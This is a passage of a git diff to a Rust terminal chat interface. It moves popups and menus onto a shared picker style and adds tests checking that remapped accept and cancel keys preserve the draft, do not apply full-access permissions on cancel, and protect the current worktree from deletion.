chat.handle_key_event(KeyEvent::from(KeyCode::F(/*n*/ 3))); + assert_matches!(rx.try_recv(), Ok(AppEvent::OpenPermissionsPopup)); + let preset = builtin_approval_presets() + .into_iter() + .find(|preset| preset.id == "full-access") + .unwrap(); + chat.open_full_access_confirmation( + preset, /*return_to_permissions*/ true, /*profile_selection*/ None, + ); + chat.handle_key_event(KeyEvent::from(KeyCode::Down)); + chat.handle_key_event(KeyEvent::from(KeyCode::F(/*n*/ 3))); + assert_matches!(rx.try_recv(), Ok(AppEvent::OpenPermissionsPopup)); + assert!(rx.try_recv().is_err(), "cancel must not apply permissions"); + + chat.request_permission_profiles(); + rx.try_recv().unwrap(); + chat.handle_key_event(KeyEvent::from(KeyCode::F(/*n*/ 2))); + assert!(chat.no_modal_or_popup_active()); + assert!(rx.try_recv().is_err()); +} diff --git a/codex-rs/tui/src/chatwidget/tests/permissions.rs b/codex-rs/tui/src/chatwidget/tests/permissions.rs index 68f7a1e263..a79f9d89b7 100644 --- a/codex-rs/tui/src/chatwidget/tests/permissions.rs +++ b/codex-rs/tui/src/chatwidget/tests/permissions.rs @@ -114,6 +114,7 @@ async fn permission_discovery_discards_stale_results_and_preserves_covering_moda chat.open_permissions_popup(); let request_id = chat.permission_popup_request_id.unwrap(); chat.bottom_pane.show_selection_view(SelectionViewParams { + appearance: crate::bottom_pane::SelectionAppearance::Picker, view_id: Some("other-modal"), title: Some("Other modal".to_string()), ..Default::default() @@ -661,6 +662,50 @@ async fn windows_sandbox_required_enable_prompt_reopens_on_cancel_when_unelevate )); } +#[tokio::test] +async fn windows_sandbox_pickers_keep_explicit_confirmation_with_remapped_actions() { + for fallback in [false, true] { + let (mut chat, mut events, mut operations) = + make_chatwidget_manual(/*model_override*/ None).await; + let mut keymap = crate::keymap::RuntimeKeymap::defaults(); + keymap.list.accept = vec![key_hint::plain(KeyCode::F(3))]; + keymap.list.cancel = vec![key_hint::plain(KeyCode::F(2))]; + chat.bottom_pane.set_keymap_bindings(&keymap); + chat.bottom_pane + .set_composer_text("Keep this draft 日本語".into(), Vec::new(), Vec::new()); + let draft = chat.bottom_pane.composer_draft_snapshot(); + let preset = builtin_approval_presets() + .into_iter() + .find(|preset| preset.id == "auto") + .expect("auto preset"); + if fallback { + chat.open_windows_sandbox_fallback_prompt(preset, /*profile_selection*/ None); + } else { + chat.open_windows_sandbox_enable_prompt(preset, /*profile_selection*/ None); + } + while events.try_recv().is_ok() {} + while operations.try_recv().is_ok() {} + + chat.handle_key_event(KeyCode::Char('2').into()); + assert!(chat.has_active_view()); + assert!(events.try_recv().is_err()); + let rendered = render_bottom_popup(&chat, /*width*/ 40); + assert!(rendered.contains("f3 select · f2 back"), "{rendered}"); + assert_chatwidget_snapshot!( + format!("windows_sandbox_picker_fallback_{fallback}_40"), + rendered + ); + + chat.handle_key_event(KeyCode::F(3).into()); + assert_matches!( + events.try_recv(), + Ok(AppEvent::BeginWindowsSandboxLegacySetup { .. }) + ); + assert_eq!(chat.bottom_pane.composer_draft_snapshot(), draft); + assert!(operations.try_recv().is_err()); + } +} + #[tokio::test] async fn fragmented_terminal_response_cannot_select_non_admin_windows_sandbox() { for use_fallback_prompt in [false, true] { diff --git a/codex-rs/tui/src/chatwidget/tests/review_mode.rs b/codex-rs/tui/src/chatwidget/tests/review_mode.rs index c452612ad3..3e499a8c3f 100644 --- a/codex-rs/tui/src/chatwidget/tests/review_mode.rs +++ b/codex-rs/tui/src/chatwidget/tests/review_mode.rs @@ -1113,7 +1113,7 @@ async fn review_commit_picker_shows_subjects_without_timestamps() { subject: "Fix bug Y".to_string(), }, ]; - super::show_review_commit_picker_with_entries(&mut chat, entries); + chat.show_review_commits(entries); // Render the bottom pane and inspect the lines for subjects and absence of time words. let width = 72; diff --git a/codex-rs/tui/src/chatwidget/tests/review_picker_tests.rs b/codex-rs/tui/src/chatwidget/tests/review_picker_tests.rs new file mode 100644 index 0000000000..3f6c958ec0 --- /dev/null +++ b/codex-rs/tui/src/chatwidget/tests/review_picker_tests.rs @@ -0,0 +1,58 @@ +//! Production review picker rendering, filtered activation, and parent/draft restoration. + +use super::*; +use pretty_assertions::assert_eq; + +#[tokio::test] +async fn review_picker_filtered_accept_and_cancel_preserve_parent_and_draft() { + let (mut chat, mut rx, _op_rx) = make_chatwidget_manual(/*model_override*/ None).await; + let mut keymap = crate::keymap::RuntimeKeymap::defaults(); + keymap.list.accept = vec![key_hint::plain(KeyCode::F(/*n*/ 3))]; + keymap.list.cancel = vec![key_hint::plain(KeyCode::F(/*n*/ 2))]; + chat.bottom_pane.set_keymap_bindings(&keymap); + chat.bottom_pane + .set_composer_text("Keep this draft".into(), Vec::new(), Vec::new()); + chat.open_review_popup(); + for _ in 0..2 { + chat.handle_key_event(KeyEvent::from(KeyCode::Down)); + } + chat.handle_key_event(KeyEvent::from(KeyCode::F(/*n*/ 3))); + assert_matches!(rx.try_recv(), Ok(AppEvent::OpenReviewCommitPicker(_))); + let entries = vec![ + CommitLogEntry { + sha: "1111111".into(), + timestamp: 0, + subject: "First commit".into(), + }, + CommitLogEntry { + sha: "abcdef2".into(), + timestamp: 0, + subject: "Selected commit".into(), + }, + ]; + chat.show_review_commits(entries.clone()); + chat.handle_key_event(KeyEvent::from(KeyCode::Char('a'))); + chat.handle_key_event(KeyEvent::from(KeyCode::F(/*n*/ 2))); + let parent = render_bottom_popup(&chat, /*width*/ 80); + assert!(parent.contains("› 3. Review a commit"), "{parent}"); + assert!(parent.contains("f3 select · f2 back"), "{parent}"); + chat.handle_key_event(KeyEvent::from(KeyCode::F(/*n*/ 3))); + assert_matches!(rx.try_recv(), Ok(AppEvent::OpenReviewCommitPicker(_))); + chat.show_review_commits(entries); + for ch in "abcdef2".chars() { + chat.handle_key_event(KeyEvent::from(KeyCode::Char(ch))); + } + chat.handle_key_event(KeyEvent::from(KeyCode::F(/*n*/ 3))); + let AppEvent::CodexOp(Op::Review { target }) = rx.try_recv().unwrap() else { + panic!("expected the filtered review target"); + }; + assert_eq!( + target, + ReviewTarget::Commit { + sha: "abcdef2".into(), + title: Some("Selected commit".into()) + } + ); + assert!(chat.no_modal_or_popup_active()); + assert_eq!(chat.bottom_pane.composer_text(), "Keep this draft"); +} diff --git a/codex-rs/tui/src/chatwidget/tests/session_model_selection_tests.rs b/codex-rs/tui/src/chatwidget/tests/session_model_selection_tests.rs index 38bf0165bd..23faa7150a 100644 --- a/codex-rs/tui/src/chatwidget/tests/session_model_selection_tests.rs +++ b/codex-rs/tui/src/chatwidget/tests/session_model_selection_tests.rs @@ -124,7 +124,7 @@ async fn session_model_selection_hides_conflicting_shortcut() { let preset = get_available_model(&chat, "gpt-5.5"); chat.open_reasoning_popup(preset); let popup = render_bottom_popup(&chat, /*width*/ 100); - assert!(!popup.contains("for this session"), "{popup}"); + assert!(!popup.contains("s session"), "{popup}"); while rx.try_recv().is_ok() {} chat.handle_key_event(KeyEvent::from(KeyCode::Char('s'))); assert!( diff --git a/codex-rs/tui/src/chatwidget/tests/snapshots/codex_tui__chatwidget__tests__backend_banners_tests__backend_banner_notification.snap b/codex-rs/tui/src/chatwidget/tests/snapshots/codex_tui__chatwidget__tests__backend_banners_tests__backend_banner_notification.snap index 49046392aa..ebdc9468ab 100644 --- a/codex-rs/tui/src/chatwidget/tests/snapshots/codex_tui__chatwidget__tests__backend_banners_tests__backend_banner_notification.snap +++ b/codex-rs/tui/src/chatwidget/tests/snapshots/codex_tui__chatwidget__tests__backend_banners_tests__backend_banner_notification.snap @@ -4,6 +4,7 @@ expression: "normalize_snapshot_paths(render_bottom_popup(&chat, 70))" --- Selected model usage exhausted Ask your owner for credits or switch to another model. + › 1. Notify owner Press a number to choose diff --git a/codex-rs/tui/src/chatwidget/tests/snapshots/codex_tui__chatwidget__tests__luna_reserve_usage_tests__luna_reserve_selector_second_choice.snap b/codex-rs/tui/src/chatwidget/tests/snapshots/codex_tui__chatwidget__tests__luna_reserve_usage_tests__luna_reserve_selector_second_choice.snap index 6c12866001..ce5f75ef6d 100644 --- a/codex-rs/tui/src/chatwidget/tests/snapshots/codex_tui__chatwidget__tests__luna_reserve_usage_tests__luna_reserve_selector_second_choice.snap +++ b/codex-rs/tui/src/chatwidget/tests/snapshots/codex_tui__chatwidget__tests__luna_reserve_usage_tests__luna_reserve_selector_second_choice.snap @@ -5,6 +5,7 @@ expression: "normalize_snapshot_paths(render_bottom_popup(&chat, 90))" You’re now using Luna, a faster model for simpler tasks. Add credits or upgrade to continue using the most advanced models. + 1. Add credits › 2. Upgrade 3. Continue with Luna Reserve diff --git a/codex-rs/tui/src/chatwidget/tests/snapshots/codex_tui__chatwidget__tests__luna_reserve_usage_tests__luna_reserve_usage_with_upsell.snap b/codex-rs/tui/src/chatwidget/tests/snapshots/codex_tui__chatwidget__tests__luna_reserve_usage_tests__luna_reserve_usage_with_upsell.snap index 2159b29177..d5ff3b8e0c 100644 --- a/codex-rs/tui/src/chatwidget/tests/snapshots/codex_tui__chatwidget__tests__luna_reserve_usage_tests__luna_reserve_usage_with_upsell.snap +++ b/codex-rs/tui/src/chatwidget/tests/snapshots/codex_tui__chatwidget__tests__luna_reserve_usage_tests__luna_reserve_usage_with_upsell.snap @@ -5,6 +5,7 @@ expression: "normalize_snapshot_paths(render_bottom_popup(&chat, 80))" You’re now using Luna, a faster model for simpler tasks. Add credits or upgrade to continue using the most advanced models. + › 1. Add credits 2. Upgrade 3. Continue with Luna Reserve diff --git a/codex-rs/tui/src/chatwidget/tests/snapshots/codex_tui__chatwidget__tests__slash_commands__slash_copy_picker_uses_completed_commentary_during_active_turn.snap b/codex-rs/tui/src/chatwidget/tests/snapshots/codex_tui__chatwidget__tests__slash_commands__slash_copy_picker_uses_completed_commentary_during_active_turn.snap index 8400a5a22d..f5c164a35f 100644 --- a/codex-rs/tui/src/chatwidget/tests/snapshots/codex_tui__chatwidget__tests__slash_commands__slash_copy_picker_uses_completed_commentary_during_active_turn.snap +++ b/codex-rs/tui/src/chatwidget/tests/snapshots/codex_tui__chatwidget__tests__slash_commands__slash_copy_picker_uses_completed_commentary_during_active_turn.snap @@ -4,7 +4,8 @@ expression: "render_bottom_popup(&chat, 80)" --- Copy to clipboard + › 1. Whole response Here is the command: 2. sh code echo current - Press enter to confirm or esc to go back + enter select · esc back diff --git a/codex-rs/tui/src/chatwidget/tests/usage.rs b/codex-rs/tui/src/chatwidget/tests/usage.rs index 6bea412c31..703d61b174 100644 --- a/codex-rs/tui/src/chatwidget/tests/usage.rs +++ b/codex-rs/tui/src/chatwidget/tests/usage.rs @@ -1110,6 +1110,7 @@ fn dismiss_popup(chat: &mut ChatWidget) { fn show_usage_test_overlay(chat: &mut ChatWidget) { chat.bottom_pane.show_selection_view(SelectionViewParams { + appearance: crate::bottom_pane::SelectionAppearance::Picker, view_id: Some(TEST_OVERLAY_VIEW_ID), title: Some("Covering overlay".to_string()), items: vec![SelectionItem { diff --git a/codex-rs/tui/src/chatwidget/tests/worktree_picker_tests.rs b/codex-rs/tui/src/chatwidget/tests/worktree_picker_tests.rs index b910f51339..0d2a821de8 100644 --- a/codex-rs/tui/src/chatwidget/tests/worktree_picker_tests.rs +++ b/codex-rs/tui/src/chatwidget/tests/worktree_picker_tests.rs @@ -1,6 +1,8 @@ //! Worktree picker behavior and rendered choices. use super::*; +use crate::worktree_browser::Entry; +use crate::worktree_browser::Owner; use pretty_assertions::assert_eq; #[tokio::test] @@ -256,3 +258,69 @@ async fn worktree_browser_names_archived_and_missing_owners() { assert!(popup.contains("Worktree: Fix settings"), "popup: {popup}"); assert!(!popup.contains("Resume owner")); } + +#[tokio::test] +async fn worktree_picker_custom_keys_preserve_draft_and_protect_current_checkout() { + let (mut chat, mut rx, _op_rx) = make_chatwidget_manual(/*model_override*/ None).await; + let checkout = tempdir().unwrap(); + std::fs::create_dir(checkout.path().join(".git")).unwrap(); + std::fs::write(checkout.path().join(".git/HEAD"), "ref: refs/heads/main\n").unwrap(); + chat.config.cwd = AbsolutePathBuf::from_absolute_path(checkout.path()).unwrap(); + chat.set_feature_enabled(Feature::Worktrees, /*enabled*/ true); + let mut keymap = crate::keymap::RuntimeKeymap::defaults(); + keymap.list.accept = vec![key_hint::plain(KeyCode::F(/*n*/ 3))]; + keymap.list.cancel = vec![key_hint::plain(KeyCode::F(/*n*/ 2))]; + chat.bottom_pane.set_keymap_bindings(&keymap); + chat.bottom_pane + .set_composer_text("Keep this draft".into(), Vec::new(), Vec::new()); + let request = chat.request_managed_worktrees().unwrap(); + let entry = Entry { + root: PathBuf::from("/repo/日本語"), + cwd: PathBuf::from("/repo/日本語/src"), + owner: Owner::None, + }; + chat.on_managed_worktrees_loaded(request, Ok(vec![entry.clone()])); + for ch in "日本語".chars() { + chat.handle_key_event(KeyEvent::from(KeyCode::Char(ch))); + } + let popup = render_bottom_popup(&chat, /*width*/ 40); + assert!( + popup.replace(' ', "").contains("/repo/日本語/src"), + "{popup}" + ); + assert!(popup.contains("f3 select · f2 back"), "{popup}"); + chat.handle_key_event(KeyEvent::from(KeyCode::F(/*n*/ 3))); + let AppEvent::ShowManagedWorktreeActions { + request, + entry: selected, + } = rx.try_recv().unwrap() + else { + panic!("expected the filtered worktree"); + }; + assert_eq!(selected, entry); + chat.show_managed_worktree_actions(request.clone(), selected); + chat.handle_key_event(KeyEvent::from(KeyCode::F(/*n*/ 2))); + assert!(chat.no_modal_or_popup_active()); + assert_eq!(chat.bottom_pane.composer_text(), "Keep this draft"); + assert_matches!(rx.try_recv(), Err(TryRecvError::Empty)); + + let current = Entry { + root: checkout.path().to_path_buf(), + cwd: checkout.path().to_path_buf(), + owner: Owner::None, + }; + chat.show_managed_worktree_actions(request.clone(), current.clone()); + let popup = render_bottom_popup(&chat, /*width*/ 80); + let unwrapped = popup.split_whitespace().collect::>().join(" "); + assert!( + unwrapped.contains("Switch to another checkout before deleting this one"), + "{popup}" + ); + chat.handle_key_event(KeyEvent::from(KeyCode::Char('2'))); + assert_matches!(rx.try_recv(), Err(TryRecvError::Empty)); + chat.handle_key_event(KeyEvent::from(KeyCode::F(/*n*/ 2))); + chat.confirm_managed_worktree_removal(request, current.root); + assert!(chat.no_modal_or_popup_active()); + assert_eq!(chat.bottom_pane.composer_text(), "Keep this draft"); + assert_matches!(rx.try_recv(), Err(TryRecvError::Empty)); +} diff --git a/codex-rs/tui/src/chatwidget/transcript_export.rs b/codex-rs/tui/src/chatwidget/transcript_export.rs index c46a4eafef..452f0cb412 100644 --- a/codex-rs/tui/src/chatwidget/transcript_export.rs +++ b/codex-rs/tui/src/chatwidget/transcript_export.rs @@ -2,6 +2,7 @@ use super::*; use crate::app_event::TranscriptExportDestination; +use crate::bottom_pane::popup_consts::picker_hint_line_for_keymap; impl ChatWidget { pub(crate) fn copy_transcript_to_clipboard(&mut self, markdown: &str) { @@ -24,9 +25,15 @@ impl ChatWidget { pub(super) fn show_transcript_export_popup(&mut self) { self.show_selection_view(SelectionViewParams { - title: Some("Export conversation".to_string()), - subtitle: Some("Save the complete conversation as Markdown".to_string()), - footer_hint: Some(standard_popup_hint_line()), + appearance: crate::bottom_pane::SelectionAppearance::Picker, + header: Box::new( + Paragraph::new(vec![ + Line::from("Export conversation".bold()), + Line::from("Save the complete conversation as Markdown".dim()), + ]) + .wrap(Wrap { trim: false }), + ), + footer_hint: Some(picker_hint_line_for_keymap(&self.bottom_pane.list_keymap())), items: vec![ SelectionItem { name: "Copy to clipboard".to_string(), @@ -50,7 +57,7 @@ impl ChatWidget { ..Default::default() }, ], - ..Default::default() + ..SelectionViewParams::picker() }); self.defer_input_until_settings_applied(); self.request_redraw(); diff --git a/codex-rs/tui/src/chatwidget/usage.rs b/codex-rs/tui/src/chatwidget/usage.rs index a45aee4a88..8563a3bdf3 100644 --- a/codex-rs/tui/src/chatwidget/usage.rs +++ b/codex-rs/tui/src/chatwidget/usage.rs @@ -47,6 +47,7 @@ impl ChatWidget { }; SelectionViewParams { + appearance: crate::bottom_pane::SelectionAppearance::Picker, view_id: Some(USAGE_MENU_VIEW_ID), title: Some("Usage".to_string()), subtitle: Some("View account usage or redeem an earned reset.".to_string()), @@ -108,6 +109,7 @@ impl ChatWidget { let request_id = self.take_next_rate_limit_reset_request_id(); self.pending_rate_limit_reset_request_id = Some(request_id); self.bottom_pane.show_selection_view(SelectionViewParams { + appearance: crate::bottom_pane::SelectionAppearance::Picker, view_id: Some(RATE_LIMIT_RESET_VIEW_ID), title: Some("Usage limit resets".to_string()), subtitle: Some("Checking your available resets...".to_string()), @@ -207,6 +209,7 @@ impl ChatWidget { ..Default::default() }); SelectionViewParams { + appearance: crate::bottom_pane::SelectionAppearance::Picker, view_id: Some(RATE_LIMIT_RESET_VIEW_ID), title: Some("Usage limit resets".to_string()), subtitle: Some(format!( @@ -247,6 +250,7 @@ impl ChatWidget { |reset_detail| format!("{reset_title} · {reset_detail}"), ); self.bottom_pane.show_selection_view(SelectionViewParams { + appearance: crate::bottom_pane::SelectionAppearance::Picker, view_id: Some(RATE_LIMIT_RESET_CONFIRMATION_VIEW_ID), title: Some("Use this reset?".to_string()), subtitle: Some(subtitle), @@ -295,6 +299,7 @@ impl ChatWidget { fn rate_limit_reset_message_params(message: &str) -> SelectionViewParams { SelectionViewParams { + appearance: crate::bottom_pane::SelectionAppearance::Picker, view_id: Some(RATE_LIMIT_RESET_VIEW_ID), title: Some("Usage limit resets".to_string()), subtitle: Some(message.to_string()), @@ -309,6 +314,7 @@ impl ChatWidget { fn reset_refresh_params(message: &str) -> SelectionViewParams { SelectionViewParams { + appearance: crate::bottom_pane::SelectionAppearance::Picker, view_id: Some(RATE_LIMIT_RESET_VIEW_ID), title: Some("Usage limit resets".to_string()), subtitle: Some(message.to_string()), @@ -342,6 +348,7 @@ impl ChatWidget { self.bottom_pane .dismiss_view_by_id(RATE_LIMIT_RESET_VIEW_ID); self.bottom_pane.show_selection_view(SelectionViewParams { + appearance: crate::bottom_pane::SelectionAppearance::Picker, view_id: Some(RATE_LIMIT_RESET_VIEW_ID), title: Some("Usage limit resets".to_string()), subtitle: Some("Resetting your usage...".to_string()), @@ -407,6 +414,7 @@ impl ChatWidget { self.pending_rate_limit_reset_request_id = None; self.pending_rate_limit_reset_idempotency_key = Some(idempotency_key.clone()); self.replace_rate_limit_reset_popup(SelectionViewParams { + appearance: crate::bottom_pane::SelectionAppearance::Picker, view_id: Some(RATE_LIMIT_RESET_VIEW_ID), title: Some("Usage limit resets".to_string()), subtitle: Some("Couldn't reset usage. Please try again.".to_string()), @@ -466,6 +474,7 @@ impl ChatWidget { fn rate_limit_reset_success_loading_params() -> SelectionViewParams { SelectionViewParams { + appearance: crate::bottom_pane::SelectionAppearance::Picker, view_id: Some(RATE_LIMIT_RESET_VIEW_ID), title: Some("Usage limit resets".to_string()), subtitle: Some("Usage reset. Checking your remaining resets...".to_string()), diff --git a/codex-rs/tui/src/chatwidget/windows_sandbox_prompts.rs b/codex-rs/tui/src/chatwidget/windows_sandbox_prompts.rs index b43bcef184..d4e39f1245 100644 --- a/codex-rs/tui/src/chatwidget/windows_sandbox_prompts.rs +++ b/codex-rs/tui/src/chatwidget/windows_sandbox_prompts.rs @@ -112,6 +112,7 @@ impl ChatWidget { }); self.bottom_pane.show_selection_view(SelectionViewParams { + appearance: crate::bottom_pane::SelectionAppearance::Picker, title: None, footer_hint: Some(standard_popup_hint_line()), items, @@ -124,7 +125,7 @@ impl ChatWidget { }); }) as _ }), - ..Default::default() + ..SelectionViewParams::picker() }); } @@ -246,6 +247,7 @@ impl ChatWidget { }); self.bottom_pane.show_selection_view(SelectionViewParams { + appearance: crate::bottom_pane::SelectionAppearance::Picker, title: None, footer_hint: Some(standard_popup_hint_line()), items, @@ -258,7 +260,7 @@ impl ChatWidget { }); }) as _ }), - ..Default::default() + ..SelectionViewParams::picker() }); } diff --git a/codex-rs/tui/src/chatwidget/worktree_picker.rs b/codex-rs/tui/src/chatwidget/worktree_picker.rs index ae2b01b6a9..fa4b456a03 100644 --- a/codex-rs/tui/src/chatwidget/worktree_picker.rs +++ b/codex-rs/tui/src/chatwidget/worktree_picker.rs @@ -1,7 +1,10 @@ //! Worktree choices for local, feature-enabled session commands. +//! +//! Shared picker presentation preserves request identity and action safety checks. use super::*; use crate::app_event::ManagedWorktreeMode; +use crate::bottom_pane::PickerSurface; use crate::worktree_browser::Action; use crate::worktree_browser::Entry; use crate::worktree_browser::Owner; @@ -40,8 +43,8 @@ impl ChatWidget { }; let current_name = name.clone(); self.bottom_pane.show_selection_view(SelectionViewParams { - title: Some(title.to_string()), - footer_hint: Some(standard_popup_hint_line()), + appearance: crate::bottom_pane::SelectionAppearance::Picker, + title: Some(title.into()), items: vec![ SelectionItem { name: "Current checkout".to_string(), @@ -74,7 +77,7 @@ impl ChatWidget { ..Default::default() }, ], - ..Default::default() + ..SelectionViewParams::picker() }); self.request_redraw(); } @@ -92,8 +95,8 @@ impl ChatWidget { } self.bottom_pane.show_selection_view(SelectionViewParams { - title: Some("Worktrees".to_string()), - footer_hint: Some(standard_popup_hint_line()), + appearance: crate::bottom_pane::SelectionAppearance::Picker, + title: Some("Worktrees".into()), items: vec![ SelectionItem { name: "Continue current conversation".to_string(), @@ -129,7 +132,7 @@ impl ChatWidget { ..Default::default() }, ], - ..Default::default() + ..SelectionViewParams::picker() }); self.request_redraw(); } @@ -146,14 +149,15 @@ impl ChatWidget { self.bottom_pane.dismiss_view_by_id(BROWSER_VIEW_ID); self.worktree_popup_request_id = Some(request.id); self.bottom_pane.show_selection_view(SelectionViewParams { + appearance: crate::bottom_pane::SelectionAppearance::Picker, view_id: Some(BROWSER_VIEW_ID), - title: Some("Managed worktrees".to_string()), + picker_surface: PickerSurface::Panel, + title: Some("Managed worktrees".into()), items: vec![SelectionItem { name: "Loading worktrees…".to_string(), is_disabled: true, ..Default::default() }], - footer_hint: Some(standard_popup_hint_line()), ..Default::default() }); Some(request) @@ -190,6 +194,7 @@ impl ChatWidget { } }; self.bottom_pane.show_selection_view(SelectionViewParams { + appearance: crate::bottom_pane::SelectionAppearance::Picker, title: Some("Managed worktrees".to_string()), subtitle: Some( if entries.is_empty() { @@ -205,14 +210,17 @@ impl ChatWidget { .map(|entry| { let request = request.clone(); let (name, description) = match &entry.owner { - Owner::None => ( - entry.cwd.display().to_string(), - "No attached thread".to_string(), - ), - Owner::Unavailable(_) => ( - entry.cwd.display().to_string(), - "Owner thread unavailable".to_string(), - ), + Owner::None | Owner::Unavailable(_) => { + let status = if matches!(entry.owner, Owner::None) { + "No attached thread" + } else { + "Owner thread unavailable" + }; + ( + entry.cwd.display().to_string(), + format!("{status} · {}", entry.cwd.display()), + ) + } Owner::Archived(thread) | Owner::Resumable(thread) => { let status = match &entry.owner { Owner::Archived(_) => "Archived · ", @@ -247,8 +255,7 @@ impl ChatWidget { } }) .collect(), - footer_hint: Some(standard_popup_hint_line()), - ..Default::default() + ..SelectionViewParams::picker() }); } @@ -337,11 +344,11 @@ impl ChatWidget { Owner::None | Owner::Unavailable(_) => "Worktree".to_string(), }; self.bottom_pane.show_selection_view(SelectionViewParams { + appearance: crate::bottom_pane::SelectionAppearance::Picker, title: Some(title), subtitle: Some(entry.cwd.display().to_string()), items, - footer_hint: Some(standard_popup_hint_line()), - ..Default::default() + ..SelectionViewParams::picker() }); } @@ -350,6 +357,7 @@ impl ChatWidget { return; } self.bottom_pane.show_selection_view(SelectionViewParams { + appearance: crate::bottom_pane::SelectionAppearance::Picker, title: Some("Delete this worktree?".to_string()), subtitle: Some(root.display().to_string()), items: vec![ @@ -374,8 +382,7 @@ impl ChatWidget { ..Default::default() }, ], - footer_hint: Some(standard_popup_hint_line()), - ..Default::default() + ..SelectionViewParams::picker() }); } } diff --git a/codex-rs/tui/src/keymap_setup.rs b/codex-rs/tui/src/keymap_setup.rs index 2610da3eb1..4ed00954ed 100644 --- a/codex-rs/tui/src/keymap_setup.rs +++ b/codex-rs/tui/src/keymap_setup.rs @@ -22,6 +22,10 @@ mod capture; mod debug; mod picker; +#[cfg(test)] +#[path = "keymap_setup/menu_tests.rs"] +mod menu_tests; + pub(crate) use actions::KeymapActionFilter; use capture::KeymapCaptureView; pub(crate) use debug::build_keymap_debug_view; @@ -42,21 +46,21 @@ use crossterm::event::KeyEvent; use crossterm::event::KeyModifiers; use ratatui::style::Stylize; use ratatui::text::Line; +use ratatui::widgets::Paragraph; +use ratatui::widgets::Wrap; use crate::app_event::AppEvent; use crate::app_event::KeymapCaptureMode; use crate::app_event::KeymapEditIntent; use crate::app_event_sender::AppEventSender; -use crate::bottom_pane::ColumnWidthMode; -use crate::bottom_pane::SelectionDescriptionLayout; use crate::bottom_pane::SelectionItem; use crate::bottom_pane::SelectionViewParams; -use crate::bottom_pane::popup_consts::standard_popup_hint_line; +use crate::bottom_pane::popup_consts::picker_hint_line_for_keymap; use crate::key_hint::KeyBinding; use crate::keymap::RuntimeKeymap; use crate::keymap::bindings_for_action; use crate::keymap::keymap_action_id; -use crate::render::renderable::ColumnRenderable; +use crate::style::accent_color; use actions::KEYMAP_ACTIONS; use actions::action_label; use actions::binding_slot; @@ -66,7 +70,6 @@ use debug::KeymapDebugView; pub(crate) const KEYMAP_ACTION_MENU_VIEW_ID: &str = "keymap-action-menu"; pub(crate) const KEYMAP_REPLACE_BINDING_MENU_VIEW_ID: &str = "keymap-replace-binding-menu"; -const KEYMAP_ACTION_MENU_MIN_DESCRIPTION_WIDTH: u16 = 24; #[derive(Debug, PartialEq, Eq)] pub(crate) enum KeymapEditOutcome { @@ -84,19 +87,10 @@ fn key_binding_span(binding: &str) -> ratatui::text::Span<'static> { if binding == "unbound" { binding.to_string().dim() } else { - binding.to_string().cyan() + binding.to_string().fg(accent_color()) } } -fn keymap_action_menu_hint_line() -> Line<'static> { - Line::from(vec![ - "enter".cyan(), - " select · ".dim(), - "esc".cyan(), - " back".dim(), - ]) -} - fn open_capture_action( context: String, action: String, @@ -173,28 +167,25 @@ pub(crate) fn build_keymap_action_menu_params( let remove_action = action.clone(); let config_path = format!("tui.keymap.{context}.{action}"); let source = if custom_binding { - "Custom root override".cyan() + "Custom root override".fg(accent_color()) } else { "Default keymap".dim() }; - let mut header = ColumnRenderable::new(); - header.push(Line::from("Edit Shortcut".bold())); - header.push(Line::from(vec![ - label.bold(), - " · ".dim(), - context_label.dim(), - ])); - header.push(Line::from(vec![ - "Current ".dim(), - key_binding_span(¤t_binding), - " · ".dim(), - source, - ])); - header.push(Line::from(vec![ - "Config ".dim(), - format!("`{config_path}`").cyan(), - ])); - header.push(Line::from(description.to_string().dim())); + let header = vec![ + Line::from("Edit Shortcut".bold()), + Line::from(vec![label.bold(), " · ".dim(), context_label.dim()]), + Line::from(vec![ + "Current ".dim(), + key_binding_span(¤t_binding), + " · ".dim(), + source, + ]), + Line::from(vec![ + "Config ".dim(), + format!("`{config_path}`").fg(accent_color()), + ]), + Line::from(description.to_string().dim()), + ]; let mut items = Vec::new(); match active_binding_count { @@ -306,20 +297,17 @@ pub(crate) fn build_keymap_action_menu_params( }); SelectionViewParams { + appearance: crate::bottom_pane::SelectionAppearance::Picker, view_id: Some(KEYMAP_ACTION_MENU_VIEW_ID), - header: Box::new(header), + header: Box::new(Paragraph::new(header).wrap(Wrap { trim: false })), footer_note: Some(Line::from(vec![ "Changes write the root ".dim(), - "`tui.keymap.*`".cyan(), + "`tui.keymap.*`".fg(accent_color()), " override.".dim(), ])), - footer_hint: Some(keymap_action_menu_hint_line()), + footer_hint: Some(picker_hint_line_for_keymap(&runtime_keymap.list)), items, - col_width_mode: ColumnWidthMode::AutoAllRows, - description_layout: SelectionDescriptionLayout::StackBelowWhenNarrow { - min_description_width: KEYMAP_ACTION_MENU_MIN_DESCRIPTION_WIDTH, - }, - ..Default::default() + ..SelectionViewParams::picker() } } @@ -330,14 +318,15 @@ pub(crate) fn build_keymap_replace_binding_menu_params( ) -> SelectionViewParams { let bindings = active_binding_specs(runtime_keymap, &context, &action).unwrap_or_default(); let label = action_label(&action); - let mut header = ColumnRenderable::new(); - header.push(Line::from("Replace Binding".bold())); - header.push(Line::from(vec![ - label.bold(), - " · ".dim(), - format!("{context}.{action}").dim(), - ])); - header.push(Line::from("Choose the binding to replace.".dim())); + let header = vec![ + Line::from("Replace Binding".bold()), + Line::from(vec![ + label.bold(), + " · ".dim(), + format!("{context}.{action}").dim(), + ]), + Line::from("Choose the binding to replace.".dim()), + ]; let items = bindings .into_iter() @@ -374,12 +363,12 @@ pub(crate) fn build_keymap_replace_binding_menu_params( .collect(); SelectionViewParams { + appearance: crate::bottom_pane::SelectionAppearance::Picker, view_id: Some(KEYMAP_REPLACE_BINDING_MENU_VIEW_ID), - header: Box::new(header), - footer_hint: Some(keymap_action_menu_hint_line()), + header: Box::new(Paragraph::new(header).wrap(Wrap { trim: false })), + footer_hint: Some(picker_hint_line_for_keymap(&runtime_keymap.list)), items, - col_width_mode: ColumnWidthMode::Fixed, - ..Default::default() + ..SelectionViewParams::picker() } } @@ -389,6 +378,7 @@ pub(crate) fn build_keymap_conflict_params( key: String, intent: KeymapEditIntent, error: String, + runtime_keymap: &RuntimeKeymap, ) -> SelectionViewParams { let capture_mode = if key.contains(' ') { KeymapCaptureMode::Chord @@ -396,10 +386,16 @@ pub(crate) fn build_keymap_conflict_params( KeymapCaptureMode::SingleKey }; SelectionViewParams { - title: Some("Shortcut Conflict".to_string()), - subtitle: Some(format!("{context}.{action} cannot use `{key}`.")), - footer_note: Some(Line::from(error)), - footer_hint: Some(standard_popup_hint_line()), + appearance: crate::bottom_pane::SelectionAppearance::Picker, + header: Box::new( + Paragraph::new(vec![ + Line::from("Shortcut Conflict".bold()), + Line::from(format!("{context}.{action} cannot use 